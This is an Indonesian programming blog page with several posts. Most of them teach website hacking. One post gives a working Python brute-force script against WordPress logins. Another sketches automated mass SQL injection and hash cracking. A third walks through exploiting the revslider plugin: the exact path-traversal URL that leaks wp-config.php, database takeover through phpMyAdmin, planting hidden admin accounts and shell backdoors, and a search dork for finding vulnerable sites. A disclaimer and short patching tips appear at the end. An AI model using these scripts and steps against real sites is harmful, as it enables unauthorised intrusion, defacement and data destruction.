Cara mudah belajar pemrograman komputer

Selasa, 10 November 2015

Pemrograman sebagai kemampuan untuk mempermudah pekerjaan

Tulisan kali ini hanya dibuat untuk catatan penulis apabila dibutuhkan suatu waktu, namun apabila ada yang memerlukan baik untuk belajar maupun sebagai acuan, maka dipersilahkan untuk mengambil, memodifikasi, dan atau menggunakan tulisan ini.

Tulisan programmer goBlog kali ini dilatarbelakangi oleh proses submission e-journal untuk di index di International Scientific Indexing atau ISIIndexing.
Proses awal submission pada isi indexing adalah kita diwajibkan untuk mengisi form submission di websita isiindexing.com untuk selanjutnya submission akan dievaluasi dan apabila disetujui maka akan diindex sementara di website isi.
Beberapa hari setelah mengisi form submission, penulis dihubungi oleh ISI Indexing yang menyatakan bahwa jurnal yang saya ajukan telah diindex sementara dan diwajibkan menyelesaikan proses submission dengan membayar sejumlah biaya.

Pada tahap ini penulis merasa bingung karena tidak menembukan dimana journal yang penulis usulkan di index, karena menggunakan fasilitas search penulis tidak menemukan hasil.

Kemudian terfikir bahwa mungkin memang tidak bisa di cari menggunakan fasilitas search karena proses submission belum selesai. Namun pada halaman ini http://isindexing.com/isi/journals.php penulis melihat banyak juga jurnal yang belum menyelesaikan proses submission namun telah terindex sementara disana. Penulis kemudian mencoba mencari dari halaman ke halaman apakah FIAT JUSTISIA (nama jurnal yang penulis ajukan untuk di index) ada dalam daftar tersebut atau tidak.
Memperhitungkan banyaknya halaman yang harus penulis cek untuk memastikan keberadaan jurnal ini pada index ISI dan dengan koneksi internet yang lumayan menguras kesabaran, akhirnya penulis memutuskan untuk menulis program yang dapat mencari nama FIAT Justisia di index ISI secara otomatis.
Karena pada saat itu penulis tidak sedang berada di komputer yang biasa penulis gunakan untuk coding, akhirnya diputuskan untuk menggunakan bahasa pemrograman seadanya yang kebetulan sempat penulis install di komputer kantor tersebut.

Menggunakan bahasa pemrograman python, akhirnya dibuatlah script program sebagai berikut.



 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

#########################################################################################
#  Program Untuk Menemukan Apakah FIAT JUSTISIA TELAH DIINDEX OLEH isindexing   #
#  Ditulis Oleh : Jaylani Chalax                                                   #
#  Tanggal : 10/11/205                                                             #
#########################################################################################

page = 0;
limit =50;

while page<=1150:
 p = requests.get("http://isindexing.com/isi/journals.php?page="+str(page)+"&limit=50")
 print str(page)
 if "fiat" in p.content:
  print str(page)
  print "ini Fiat"
  break
 else:
  print "ini bukan fiat"

 print p.status_code
 page = page+limit



Script program ini hanya memiliki satu tugas yaitu, buka halaman listing index milik isi dii http://isindexing.com/isi/journals.php kemudian munculkan 50 hasil dan scan apakah terdapat kata "Fiat" pada halaman tersebut, jika ya maka beritahu kami bahwa di halaman tersebut terdapat kata fiat dan hentikan proses pencarian.
Apabila tidak ditemukan pada halaman tersebut maka beritahu kami bahwa tidak ditemukan kata fiat pada 50 list pertama, lantas lanjutkan ke list 50 sampai 100 dengan menaikkan nilai page dari 0 ditambah limit. page=page+limit

Setelah program dijalankan dan mengakses list ke 400-450 maka program akhirya menemukan journal FIAT JUSTISIA ada dalam daftar tersebut.

Nah begitulah kira kira penjelasan program kecil nan sederhana ini, yang akhirnya memudahkan penulis untuk menemukan journal FIAT JUSTISIA telah terindex sementara oleh isi dan dapat melanjutkan proses submission jurnal ke tahap selanjutnya.


Programmer goBlog akhirnya memutuskan untuk menulis latar belakang serta hasil dari permasalahan sederhana ini dan memasukkannya kedalam blog programmerGoBlog selain sebagai pengingat juga dimaksudkan untuk menunjukkan bahwa pemrograman dapat dimanfaatkan untuk menyelesaikan perkara yang menyusahkan dan merepotkan dengan cara yang mudah dan menyenangkan.

Akhirkata apabila ada kritik saran dan atau pertnyaan, jangan ragu untuk meninggalkan jejak pada kolom komentar.

Minggu, 01 November 2015

Script hacking wordpress dengan teknik bruteforce

Halo halo..
Lagi lagi bahasan kita kali ini seputar hacking, tentunya dari sudut pandang programmer..
Kali ini kita akan membahas tentang salah satu teknik hacking yaitu BruteForce dan mengamplikasikan kemampuan programming kita untuk membuat program yang akan kita gunakan untuk menyerang website berbasis wordpress.

Apa sih teknik bruteforce itu? bruteforce merupakan sebuah teknik untuk masuk kedalah sistem (hacking) dengan mencoba semua password dan username yang mungkin, teknik ini bisa kita lakukan dengan mencoba secara manual, tetapi kalau kita seorang programmer, maka kita tulis saja sebuah program untuk melakukan teknik ini secara otomatis.
Nah kali ini kit akan membahas dan membuat program sederhana untuk terknik bruteforce ini yang ditujukan untuk website berbasis cms wordpress.

Program yang akan kita tulis ini menggunakan bahasa pemrograman python, tetapi dengan mengerti alur logikanya maka sobat programmer goBlog bisa membuat ulang program ini dengan bahasa pemrograman apapun yang sobat inginkan.

Okeh beritku script programnya

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# ############################################################################ #
# bruteforce for wordpress                                                     #
# author chalax                                                                #
# ############################################################################ #

import requests
import time


with open ("data.txt", "r") as myfile:
    data=myfile.readlines()

cond = "true"
s=0
while cond:
 z = data[s].rstrip('\n')
 try:

 
  r = requests.post("http://targetsite.net/wp-login.php", data = {"log":"admin","pwd":z})

  if "incorrect" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
   
  elif "empty" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
  elif "login_error" in r.content:
   print "Password yang dicoba : "+z
   print "Hasil : Gagal"
  else:
   print r.content
   print "Password ditemukan :"+z

   break
  # time.sleep(1)
  if s%100==0:
   time.sleep(10)
  s=s+1
  except requests.exceptions.RequestException as e:    
  print e


Dan berikut penjelasanya.
Baris pertama dan kedua adalah untuk mengimport librari python yang dibutuhkan
Dua baris berikutnya adalah untuk mengambil daftar password yang akan kita gunakan yang berada didalam file data.txt dan menyimpannya kedalam variable data

baris dari cond = "true"
Set variable cond dengan isi true untuk digunakan sebagai kondisi pada perulangan while.
baris dibawah variable cond adalah variable s dengan ini 0, ini adalah variable untuk menentukan dari baris ke berapa password yang akan dicoba pada file data.txt
Karena file data.txt menyimpan satu password dalam satu baris.

password1
password2
password3
password4
password..dst

selanjutnya perulangan while dilakukan.

z = data[s].rstrip('\n')

Baris ini digunakan untuk menghilangkan kode new line -- \n -- atau karakter enter dari setiap baris password yang kita dapat dari file data.txt dan mey
selanjutnya adalah blcok try and catch, block
try:

except.request.exceptions.RequestException as e:
print e

Block try and catch ini diperlukan agar perulangan tidak terhenti apabila terjadi error seperti koneksi ke server terputus atau website down sementara pada saat percobaan.

r = requests.post("http://targetsite.net/wp-login.php", data = {"log":"admin","pwd":z})
baris ini membuat post request ke halaman login wordpress dan mengirimkan data login berupa username admin dan password dari variable z.

baris berikutnya adalah if dan else dimana apabila hasil dari baris diatas menghasilkan kata "Incorrect" atau "empty" atau "login_error" maka cetak keterangan bahwa login gagal, jika tidak terkandung salah satu dari tiga kata diatas maka kemungkinan percobaan berhasil dan cetak password yang dicoba, kemudian hentikan proses looping while dengan baris break

Baris
if s%100 ==0

baris ini adalah untuk menghentikan sementara proses percobaan setiap 100 kali mencoba, hal ini bertujuan agar website yang sedang kita coba bruteforce tidak down karena terlalu banyak request.

kemudian baris selanjutnya adalah untuk meningkatkan nilai variable s atau dengan kata lain untuk memberitahu perulangan while untuk mencoba baris berikutnya dari file data.txt



Nah kurang lebih begitulah bentuk dari program kita yang sangat sederhana untuk menebak password wordpress. Dengan menggunakan teknik yang sama dan sedikit modifikasi maka program ini dapat digunakan untuk hack password website lain tidak hanya wordpress atau bisa juga untuk hack password wifi, hack wifi id dll dll.
Sedangkan isi dari file data.txt sobat bisa buat sendiri dengan memasukkan semua password yang ingin di coba dengan format satu baris satu password dan menyimpan nya dengan nama data.txt

atau kalau mau download bisa download disini, kurang lebih sekitar 700MB dan milyaran password didalamnya.

Hubungan erat hacking dengan pemrograman


Halo pembaca programmer goBlog baik yang memang pembaca setia maupun yang kesasar dimari dari mbah gugle.
Kali ini programmer goBlog mau sedikit membahas apa sih hubungan antara pemrograman dengan hacking..
Sok jadi keker dulu kita kali ini.
Hacking adalah sebuah kegiatan untuk masuk kedalam sistem seseorang dengan cara yang tidak biasa, baik itu legal maupun illegal. Loh bukanya hacking memang illegal ya? eits tidak semua kegiatan hack meng hack itu illegal di jaman serba teknologi seperti ini justru kegiatan hacking dan para hacker merupakan hal yang sangat diperhitungkan oleh pemegang sistem, bahkan perusahaan besar seperti facebook dan google memberikan hadiah yang besar bagi para hacker yang bisa menemukan celah keamanan pada sistem mereka. Nah, kegiatan hacking yang telah mendapat izin seperti ini adalah jenis hacking yang legal, asal memenuhi kriteria yang ditentukan perusahaan tentunya.

Seperti yang sudah disebutkan diatas bahwa hacking adalah kegiatan yang dilakukan untuk masuk dan mengambil alih sebuah sistem, maka ada beberapa hal yang perlu dilakukan agar dapat berhasil masuk kedalam sistem tersebut.
Hal mutlak pertama kali yang harus dilakukan adalah mengumpulkan informasi sebanyak mungkin mengenai sistem yang akan di hack, cara kerja, sistem autentikasi, pengamanan, platform yang digunakan, apa saja perangkat yang terkait dengan sistem dll dll dll semua informasi yang berkaitan dengan sistem tersebut semakin banyak kita ketahui maka semakin besar kemungkinan kita untuk dapat masuk kedalam sistem tersebut dengan cara yang tidak biasa. Dengan mengatakan "cara yang tidak biasa" yang dimaksud penulis adalah masuk kedalam sistem tanpa melalui prosedur yang ditentukan si pembuat sistem.

Kemudian apabila semua informasi telah terkumpul, maka yang perlu dilakukan selanjutnya adalah mencoba mengerti alur dan cara kerja sistem tersebut. Barulah kita bisa mencari celah bagaimana cara untuk masuk kedalam sistem tersebut.

Nah pada tahap ini kemampuan pemrograman kita mengambil peran, apabila ternyata pada tahapan mengumpulkan semua informasi kita secara beruntung mendapat banyak informasi termasuk tentang bahasa pemrograman yang digunakan dalam sistem tersebut, kita bisa langsung mencoba mencari kelemahan dari bahasa pemrograman tersebut untuk kemudian memanfaatkan kelemahan itu. Dalam beberapa kasus hacker bahkan bisa mendapatkan informasi berupa password dengan memanfaatkan kelamahan sistem seperti contoh SqlInjection. Apabila password yang didapat dari teknik sql injection sudah berupa password plain atau password dalam bentuk asli maka kita tinggal gunakan password tersebut untuk masuk kedalam sistem. Namun apabila password yang tersimpan berupa password yang telah di hash maka kita harus menemukan password asli dengan mengkonversi password tersebut kedalam bentuk password normal, caranya? nah itulah kenapa kita harus bisa pemrgoraman :D .
Hash merupakan teknik untuk menjadikan teks bias menjadi kumpulan karakter yang tidak bisa kita baca dan tidak bisa dikonversi kembali kedalam bentuk semula, jadi yang bisa kita lakukan adalah dengan membuat kembali hash dari teks teks dan mencoba mencocoknya dengan password yang kita dapat dari sistem. Sepertinya sulit, sebab ada milyaran kosa kata yang harus kita cocokan, yah kita tinggal buat programnya, jalankan dan biarkan program bekerja kita tinggal tidur.. :D

Kita baru menggunakan satu teknik hacking yaitu SqlInjection, masih banyak cara dan teknik lain yang bisa dilakukan untuk masuk kedalam sebuah sistem secara tidak biasa.
Kita hanya akan membahas yang berkaitan dengan pemrograman. Katakanlah skenarionya begini, kita kan mencari kelemahan website dari sisi sql injection dan mengumpulkan website website tersebut untuk selanjutnya kita coba hack. Ini bisa dilakukan satu persatu dengan teknik sql injection, namun kalau dari sisi programmer kita bisa melakukan ribuan langkah ini dengan hanya satu klik pada sebuah program. Dengan kemampuan pemrograman yang baik kita bisa membuat sebuah program yang mengerjakan langkah langkah secara otomatis, mulai dari mengumpulkan daftar website yang akan di hack, menguji coba website tersebut memiliki kelemahan dari sisi sql injection atau tidak, mencoba mendapatkan data password dengan memanfaatkan teknik sql injection dan mendecript password apabila ternyata ditemukan dalam bentuk hash. Oleh seorang programmer langkah ini bisa di otomatisasi sehingga memungkinkan untuk meretas ribuan bahkan jutaan website tanpa kita harus meretasnya satu persatu, cukup buat programnya dan jalankan.

Nah itulah sobat, tentang hubungan erat pemrograman dan hacking, so untuk menjadi seorang hacker pemrograman merupakan hal yang juga harus dikuasai, dengan mengatakan ini programmer goBlog tidak mempertimbangkan hacker pada level paling bawah yaitu script kiddies yang bisanya cuma memakai program buatan orang untuk deface website dan mengaku ngaku hacker.. :D .
Apabila ada pertanyaan jangan sungkan untuk meninggalkanya pada kolom komentar dibawah ini.

Sabtu, 24 Oktober 2015

Cara hack website berbasis wordpress dengan memanfaatkan kelemahan plugin revslider



Buset udah sawangan gini blog nya..
Hallo sobat programmer, lupa login blog jadi jarang update.
Untuk sekedar mengisi kesenjangan tulisan --halah-- kali ini programmer goBlog bakalan ngebahas sedikit tentang hack meng-hack.
Tulisan ini dilatar belakangi oleh permintaan dari beberapa orang untuk hack ini lah hack itu lah hack dll dll dll.
programmer goBlog bukan hacker om, gak ngerti dah persoalan hack meng-hack :D

Jadi apa yang mau dibahas ??
Ini tetang mainan nya script kiddies dan hacker wannabe, tentang deface men-deface website melalui celah keamanan pada website tersebut.
Kali ini yang bakal dibahas adalah salah satu vulnerability pada salah satu plugin CMS terkemuka yaitu wordpress.
Vulnerability atau kelemahan pada plugin ini memungkinkan hacker untuk dapat mengunduh file file penting didalam website tersebut untuk kemudian dimanfaatkan untuk menyerang dan mengambil alih kendali pada website tersebut.
Plugin apa ya? nama plugin nya "revslider" atau slider revolution.
Nah loh, hati hati bagi yang di website nya menggunakan plugin ini.
Dari pembuktian yang penulis lakukan terbukti bahwa plugin ini dapat digunakan untuk mengunduh file wp-config.php pada website berbasis cms wordpress.
Lah trus kenapa emang kalo udah bisa mengunduh file wp-congig.php???
Wp-config.php ini merupakan file dewa yang apabila jatuh ketangan orang yang salah akan sangat berbahasa, kenapa? file ini berisi tentang setting database yang digunakan pada website, termasuk username, password, host, dan nama database yang digunakan.
Kalau kita sudah tau login databasenya, yang bisa kita lakukan berikutnya adalah ---- well banyak ---
Login ke database nya.
Mau ngerusak? drop aja semua data yang ada.
Mau coba login ke wordpress nya dengan akses administrator?
Ubah aja password admin nya dan login.
atau mau login diam diam tanpa admin tahu?
Buat akun baru dengan level admin..

Mau deface dan ubah tampilan utama website dengan latar belakan hitam dan tulisan merah bertulisakan nama keren anda? ubah aja file index.php lewat theme editor wp-nya.

Mau lebih dalam lagi? takut ketahuan dan login mu di apus admin??
Upload ada shell script sebagai backdoor.
Jadi kalaupun anda di depak oleh admin, anda masih bisa masuk ke server lewat shell script backdoor ini.

====================================================
Dewa gak tuh file wp-config.php

Mau sekalian dibisiki gimana langkah sampe bisa dapetin akses admin di wordpress korban?

Pertama manfaatkan vulnerability si plugin revslider ini dulu.

Pastikan web yang akan jadi target terinstall plugin ini.
Masuk kehalaman
http://situstarget.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

maka apabila website target tersebut tertanya vulberable, maka file wp-config.php akan terdoanload dengan nama admin-ajax.php
Buka aja file itu, maka anda akan menemukan setting setting login database seperti dimaksud diatas.

Lanjut..
Setelah dapat data login database, selanjutnya kita coba masuk ke phpmyadmin.
http://situstarget.com/phpmyadmin
Kalau di server website tersebut terinstall phpmyadmin maka kita tinggal login menggunakan data yang sudah kita dapat.

Sudah muncul data di databasenya??
Selanjutnya cari tabel user, lihat username admin nya apa, ganti isi kolom password dengan password yang anda inginkan, eits jangan lupa passwordnya di ubah ke md5 dulu yah, online encriptor untuk md5 banyak kok googling aja.

Seletelah berhasil di ubah di databasenya, masuk ke
http://situstarget.com/wp-admin
Login dengan username dan password yang kita ubah tadi.

Tara...
Anda sudah masuk sebagai admin..
Selanjutnya kreatif kreatif aja..


Gampang amat??
yups segampang itu memang.
tapi tunggu dulu, ada beberapa kondisi yang harus terpenuhi agar cara tersebut bisa dilakukan.
1. Website harus terinstall plugin revslider yang vulnerable dan plugin tersebut aktif.
2. Kita harus bisa menghakses mysql server baik dari phpmyadmin atau mysql client.
Syarat agar bisa mengakses lewat phpmyadmin ya di server website tersebut harus terinstall phpmyadmin.
Dan syarat agar kita bisa mengakses database mysql selain lewat phpmyadmin adalah setting pada mysql server website tersebut mengizinkan akses dari remote host.
Jika tidak ada dari dua kondisi ini yang terpenuhi maka kita tidak bisa melakukan apapun walau kita bisa mendapatkan file dewa si wp-config.php

mau coba praktekin?
coba cari di google dengan keyword inurl:"plugins/revslider"
keluar dah tuh website website yang menggunakan plugin ini.



Disclaimer:
Tulisan ini hanya bertujuan sebagai pembelajaran, segala kerugian yang timbul akibat penyalahgunaan informasi yang terdapat pada tulisan ini bukan merupakan tanggung jawab programmer goBlog.


Tips.
Jika anda merupakan seorang web administrator dan menyadari bahwa salah satu website anda menggunakan plugin  ini maka segera lakukan update plugin dan pastikan plugin serta tema yang terinstall pada website anda merupakan versi terbaru.

Jika karena satu dan lain hal anda tidak dapat melakukan update terhadap plugin tersebut, dianjurkan untuk men-disable atau memberikan limitasi pada mysql server agar tidak dapat diakses dari remote.
Apabila anda menggunakan phpmyadmin maka pastikan phpmyadmin tidak dapat diakses secara langsung (baik dengan menyembunyikan url default phpmyadmin, atau dengan memberikan limitasi sehingga phpmyadmin hanya dapat diakses melalui cpanel misalkan)

Akhir kata semoga tulisan ini bermanfaat.
Salam programmer goBlog.

Jumat, 14 Agustus 2015

Menampilkan tanggal dari tanggal awal ditambah hari

Halo sobat programmer goBlog, sudah lama tidak ada kabar berita dari si goBlog ini.
Kali ini programmer goBlog kembali dengan sedikit tutorial tentang pemrograman PHP.
Tutorial ini muncul ketika saya terfikir untuk menampilkan tanggal tertentu dari tanggal awal ditambah beberapa hari.
Maksudnya seperti ini, misal kita ingin menampilkan tanggal 10 hari setelah tanggal 12-januari-2015.
Jadi apabila tanggal awal adalah 12-januari-2015 dan tanggal setelah 10 hari adalah 22-januari-2015.

gampang, tinggal tambahin aja jumlah tanggalnya. eits, gak semudah itu. kenapa? andaikan tanggal awal adalah 23-januari-2015 maka 10 hari setelahnya adalah 34-januari-2015. duh ada tah..
ah bisa diakali, kalau hasil penjumlahan lebih dari 31 maka tanggalnya jadi hasil-31 = 3 dan bullan nya diganti jadi januari.

Macam gambar dibawah ini?

Bisa sih, tapi maih kurang...
kenapa????
iya kalau hasilnya cuma 34, lah kalau hasilnya jadi 70??
misal 70 hari setelah tanggal 22 januari 2015 adalah ==?????
ah tambah aja if else nya..
bisa, tambah aja sampe semua kemungkinan skenario habis. 90 hari 200 hari 5000 hari dst...

cara seperti diatas memang memungkinkan untuk diterapkan, tetapi sebetulnya ada cara yang lebih gampang.
Caranya adalah dengan menggunakan fungsi di php yaitu gregoriantojd();
fungsi ini mengubah format tanggal yang berupa tanggal bulan tahun menjadi jumlah hari saja.
kemudian kita tinggal menambahkan hasil dari fungsi tadi dengan jumlah hari tambahan yang kita perlukan tadi.
Selanjutnya kita ubah lagi format nya menjadi tanggal bulan dan tahun dengan menggunakan fungsi pembalik dari jd ke gregorian yaitu fungsi jdtogregorian();

seperti gambar dibawah ini.

Seperti itulah kira kira sedikit sharing pengetahuan yang bisa saya bagi..
mungkin ada yang sedang membutuhkan dan kebingungan.
Semoga bermanfaat, dan apabila ada yang ingin ditanyakan programmer goBlog dengan senang hati menjawab.

Popular Posts

Recent Posts

Unordered List

Pages

Kunjungan

Diberdayakan oleh Blogger.